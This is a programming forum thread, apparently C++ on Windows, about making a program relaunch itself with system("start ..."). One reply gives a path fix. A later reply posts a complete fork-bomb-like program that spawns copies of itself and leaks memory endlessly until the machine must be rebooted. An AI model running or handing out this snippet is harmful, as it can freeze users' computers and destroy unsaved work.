How do I make a program turn it self on again after it's done?

So I had this crazy idea today that I want to turn on a program again after it finishes it's work or in any other part of its code. I already know that typing system("start notepad.exe); turns on notepad but system("start nameOfMyProgram.exe"); doesn't turn on my program. I get an error. Could anyone help me out with this? :D
That's just what everybody needs; a program that they can't end.
It's for research purposes :D
When you use the start command, you have to specify the directory your file is in. Typing start notepad.exe works because the path environment variable for notepad.exe is already set.

So do this:

std::system("start C:\\Path...\\name.exe")
Last edited on
You could use this for dangerous purposes though...

On Windows computers:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#include <cstdlib>

class largeType
{
    private:
      long long int x[100][100];
    public:
      largeType() { }
};

int main()
{
    std::system("start name.exe");
    std::system("start name.exe");

    while (true)
    {
        largeType *p = new largeType;
    }

    return 0;
}

Open this and your computer is done. Only if you open it though. Doesn't do any permanent harm. Just have to reboot.
Last edited on
Topic archived. No new replies allowed.